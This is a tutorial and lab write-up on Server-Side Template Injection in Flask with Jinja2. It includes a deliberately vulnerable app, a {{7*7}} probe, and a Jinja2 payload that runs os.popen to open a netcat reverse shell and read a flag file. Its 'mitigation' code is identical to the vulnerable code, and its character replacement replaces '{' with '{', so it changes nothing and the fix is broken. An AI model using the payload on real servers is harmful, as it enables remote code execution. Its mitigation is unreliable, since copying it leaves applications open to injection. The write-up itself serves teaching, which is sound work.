Introduction
To properly understand the concept of SSTI (Server-Side Template Injection), it's crucial to have an understanding of templates and how they function in web development. Simply put, a template is a file or piece of code that defines the structure for representing data or the visual presentation of an application.
Templates play a fundamental role in web development, allowing developers to separate static from dynamic content. They offer an efficient way to reuse and organize HTML, CSS, and JavaScript code, facilitating the maintenance and scalability of projects.
Various web development frameworks support templates, such as:
- PHP: Twig
- Python: Django, Jinja2
- Java: Java Server Pages (JSP)
However, the flexibility of templates can also represent a significant vulnerability. This is where SSTI comes into play, exploiting flaws in the template implementation to execute code on the server.
About the Vulnerability
The SSTI (Server-Side Template Injection) vulnerability occurs when an attacker manages to inject templates into the application, leading the backend to interpret malicious code and granting the attacker advantages over the server.
Once exploited, this vulnerability allows for a range of attacks, including:
- Command Execution: The attacker can execute arbitrary commands on the server, compromising system security and potentially gaining unauthorized access.
- Reading Sensitive Files: Malicious code can be used to read sensitive files on the server, such as configuration files, database credentials, or even source code.
- Data Exfiltration: Once inside the system, the attacker can extract sensitive data, such as user information, financial data, or intellectual property, for example.
Mounting an SSTI attack requires skills to detect, identify, and exploit the vulnerability.
Detecting
Identifying a Server-Side Template Injection (SSTI) can be confused with a Cross-Site Scripting (XSS) attack. Therefore, when encountering a potential vulnerability, it's important to conduct a careful analysis to confirm if it indeed pertains to SSTI.
Identifying
After detecting a possible SSTI, it's crucial to use appropriate techniques to identify the type of framework or technology being used in the application. This is fundamental to planning and executing a successful attack.
Exploitation
Once the presence of SSTI in the application is confirmed, the opportunity arises to seek Remote Code Execution (RCE) or access sensitive server data. This can be achieved using payloads and techniques suitable for exploiting this vulnerability effectively.
Laboratory
In this practical laboratory, we use the combination of Jinja2 with Flask to create a test environment where we can explore the SSTI vulnerability.
HTML Template
The HTML code below represents the template used to build the user interface:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <title>Profile</title> <link rel="stylesheet" href="static/style.css"> </head> <body> <nav class="navbar navbar-expand-lg navbar-light bg-light"><a class="navbar-brand" href="#">My Profile</a><button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation"><span class="navbar-toggler-icon"></span></button> <div class="collapse navbar-collapse" id="navbarNav"> <ul class="navbar-nav ml-auto"> <li class="nav-item active"><a class="nav-link" href="/">Home <span class="sr-only">(current)</span></a></li> </ul> </div> </nav> <div class="container mt-5"> <div class="row"> <div class="col-md-4"> <div class="card"><img src="static/image.png" class="card-img-top" alt="Profile Image"> <div class="card-body"> <h5 class="card-title">{}</h5> </div> </div> </div> <div class="col-md-8"> <div class="card"> <div class="card-body"> <h5 class="card-title">Welcome!</h5> <p class="card-text">This is your profile. Use the form below to search for other users.</p> <form> <div class="form-group"><input type="text" class="form-control" name="user" placeholder="Enter the user name"></div><button type="submit" class="btn btn-primary">Search</button> </form> </div> </div> </div> </div> </div> </body> </html>
Backend Code (Flask)
The Python code below represents the Flask application's backend. Here, the HTML template is rendered, and the username is passed as a GET parameter to the server without any proper sanitization.
from flask import Flask, render_template_string, request app = Flask(__name__) @app.route('/') def index(): user = request.args.get("user") or "Jiuseppe" user = user.replace("{","{") template = """<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"><title>Profile</title><link rel="stylesheet" href="static/style.css"></head><body><nav class="navbar navbar-expand-lg navbar-light bg-light"><a class="navbar-brand" href="#">My Profile</a><button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation"><span class="navbar-toggler-icon"></span></button><div class="collapse navbar-collapse" id="navbarNav"><ul class="navbar-nav ml-auto"><li class="nav-item active"><a class="nav-link" href="/">Home <span class="sr-only">(current)</span></a></li></ul></div></nav><div class="container mt-5"><div class="row"><div class="col-md-4"><div class="card"><img src="static/image.png" class="card-img-top" alt="Profile Image"><div class="card-body"><h5 class="card-title">{}</h5></div></div></div><div class="col-md-8"><div class="card"><div class="card-body"><h5 class="card-title">Welcome!</h5><p class="card-text">This is your profile. Use the form below to search for other users.</p><form><div class="form-group"><input type="text" class="form-control" name="user" placeholder="Enter the user name"></div><button type="submit" class="btn btn-primary">Search</button></form></div></div></div></div></div></body></html>""".format(user) return render_template_string(template) if __name__ == '__main__': app.run(debug=True)
In this laboratory, we focus on manipulating the user
parameter in the URL to exploit the SSTI vulnerability.
Thus, we have the application running!
Step 1: Identify
- We tested a simple XSS to see if the application could be vulnerable.
We used the
{{7*7}}
payload in theuser
parameter in the URL.We observed that the result displayed on the page is
49
, indicating that the server is interpreting and executing the mathematical expression inserted as a Jinja2 template, thus confirming the presence of an SSTI vulnerability.
Step 2: Exploit
As a result, we managed to achieve Remote Code Execution (RCE) on the server, as evidenced by the
id
command being executed and the returned result.We used the malicious payload
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f").read()}}
to achieve a reverse-shell on the server and retrieve the “flag.txt” file.
Mitigation
- Sanitizing the
user
Parameter
To mitigate the SSTI vulnerability, we applied a minor sanitization to the backend code. The character {
was replaced with {
in the user input, limiting the ability to exploit SSTI.
from flask import Flask, render_template_string, request app = Flask(__name__) @app.route('/') def index(): user = request.args.get("user") or "Jiuseppe" user = user.replace("{","{") template = """<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"><title>Profile</title><link rel="stylesheet" href="static/style.css"></head><body><nav class="navbar navbar-expand-lg navbar-light bg-light"><a class="navbar-brand" href="#">My Profile</a><button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation"><span class="navbar-toggler-icon"></span></button><div class="collapse navbar-collapse" id="navbarNav"><ul class="navbar-nav ml-auto"><li class="nav-item active"><a class="nav-link" href="/">Home <span class="sr-only">(current)</span></a></li></ul></div></nav><div class="container mt-5"><div class="row"><div class="col-md-4"><div class="card"><img src="static/image.png" class="card-img-top" alt="Profile Image"><div class="card-body"><h5 class="card-title">{}</h5></div></div></div><div class="col-md-8"><div class="card"><div class="card-body"><h5 class="card-title">Welcome!</h5><p class="card-text">This is your profile. Use the form below to search for other users.</p><form><div class="form-group"><input type="text" class="form-control" name="user" placeholder="Enter the user's name"></div><button type="submit" class="btn btn-primary">Search</button></form></div></div></div></div></div></body></html>""".format(user) return render_template_string(template) if __name__ == '__main__': app.run(debug=True)
zip of the lab below!
Conclusion
In conclusion, the SSTI (Server-Side Template Injection) vulnerability represents a significant threat to the security of applications using template frameworks.